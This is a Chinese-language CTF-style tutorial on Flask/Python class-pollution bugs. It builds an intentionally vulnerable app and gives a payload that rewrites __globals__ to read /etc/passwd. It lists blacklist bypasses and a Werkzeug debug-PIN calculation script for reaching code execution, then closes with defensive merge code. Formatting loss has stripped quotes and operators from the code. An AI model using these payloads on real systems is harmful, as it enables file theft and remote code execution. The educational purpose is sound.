从CTF靶场到实战手把手教你复现Flask原型链污染漏洞附Python 3.10环境配置在网络安全领域CTF比赛中的漏洞复现往往能为我们提供宝贵的学习机会。本文将带你从零开始在Python 3.10环境下搭建一个存在原型链污染漏洞的Flask应用并通过实战演示如何利用这一漏洞实现任意文件读取。1. 环境准备与漏洞原理1.1 Python 3.10环境配置首先我们需要配置一个干净的Python 3.10开发环境# 使用pyenv管理Python版本 pyenv install 3.10.6 pyenv virtualenv 3.10.6 flask-poc pyenv activate flask-poc # 安装必要依赖 pip install flask2.2.21.2 原型链污染原理剖析原型链污染(Pollution)是一种在动态语言中常见的漏洞类型它允许攻击者修改对象的原型属性从而影响所有基于该原型的对象实例。在Python中这一漏洞通常通过以下方式实现魔术方法滥用如__class__、__globals__等不安全的对象合并深度合并用户可控数据到对象属性覆盖通过特殊属性名覆盖关键系统变量提示与JavaScript不同Python中没有真正的原型链概念但通过魔术方法和全局命名空间可以实现类似效果。2. 漏洞应用搭建2.1 创建有漏洞的Flask应用下面是一个存在原型链污染漏洞的简化版Flask应用from flask import Flask, request import json app Flask(__name__) def merge(src, dst): 不安全的对象合并函数 for k, v in src.items(): if hasattr(dst, __getitem__): if dst.get(k) and isinstance(v, dict): merge(v, dst.get(k)) else: dst[k] v elif hasattr(dst, k) and isinstance(v, dict): merge(v, getattr(dst, k)) else: setattr(dst, k, v) app.route(/register, methods[POST]) def register(): data json.loads(request.data) user type(User, (), {})() # 创建空类实例 merge(data, user) # 危险操作 return Registration complete app.route(/) def index(): return open(__file__).read() if __name__ __main__: app.run(debugTrue)2.2 漏洞点分析上述代码中存在两个关键问题不安全的merge函数递归合并用户提供的字典未对特殊属性名进行过滤允许修改对象的__class__等魔术方法敏感全局变量暴露通过__file__直接读取文件内容未对文件路径进行限制3. 漏洞利用实战3.1 基础利用修改__file__变量我们可以构造特殊payload来修改Flask应用的__file__全局变量import requests payload { __class__: { __init__: { __globals__: { __file__: /etc/passwd } } } } response requests.post( http://localhost:5000/register, jsonpayload )执行后访问首页将显示/etc/passwd文件内容而非应用源码。3.2 绕过黑名单技巧实际应用中通常会设置黑名单过滤特殊属性名。以下是几种绕过方法绕过技术示例适用场景Unicode编码\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F简单字符串匹配属性链替代__class__.__base__.__subclasses__()深度属性访问方法覆盖用check方法替代__init__存在替代方法时3.3 高级利用PIN码计算与RCE在Flask调试模式下我们可以结合文件读取漏洞获取生成调试PIN码所需的六个要素读取/etc/passwd获取用户名读取/proc/self/cgroup获取机器ID通过错误信息获取Flask安装路径读取/sys/class/net/eth0/address获取MAC地址# PIN码计算脚本示例 import hashlib from itertools import chain probably_public_bits [ flaskweb, # 用户名 flask.app, # 模块名 Flask, # 应用名 /usr/local/lib/python3.10/site-packages/flask/app.py # Flask路径 ] private_bits [ 2485377581187, # MAC地址十进制 96cec10d3d9307792745ec3b85c89620docker-f631baf753180826471e91bf575eecadcfd9788e873f07b98fe6f7a4a95f42c3.scope # 机器ID ] h hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue h.update(bit.encode(utf-8)) h.update(bcookiesalt) print(h.hexdigest()[:20])4. 防御方案与最佳实践4.1 安全编码建议避免不安全的对象合并使用浅拷贝而非深拷贝对合并属性进行严格过滤# 安全的merge函数实现 def safe_merge(src, dst): for k, v in src.items(): if k.startswith(__) and k.endswith(__): continue # 过滤魔术方法 if hasattr(dst, __setitem__): dst[k] v else: setattr(dst, k, v)关键全局变量保护避免直接暴露__file__等敏感变量对文件访问进行严格路径校验4.2 架构层面防护启用SELinux/AppArmor限制应用的文件系统访问权限使用容器隔离将应用运行在最小权限容器中定期依赖更新及时修复已知漏洞5. 漏洞拓展与变体原型链污染漏洞在不同语言和技术栈中有多种表现形式JavaScript原型污染通过__proto__修改对象原型影响范围更广可导致XSS、权限提升等Python反序列化漏洞通过pickle等序列化协议触发结合__reduce__方法实现RCE模板注入利用在Jinja2等模板引擎中利用全局变量结合SSTI实现更复杂的攻击链在实际漏洞挖掘中建议重点关注以下高危模式深度对象合并操作不安全的反序列化接口动态属性访问功能反射机制的不当使用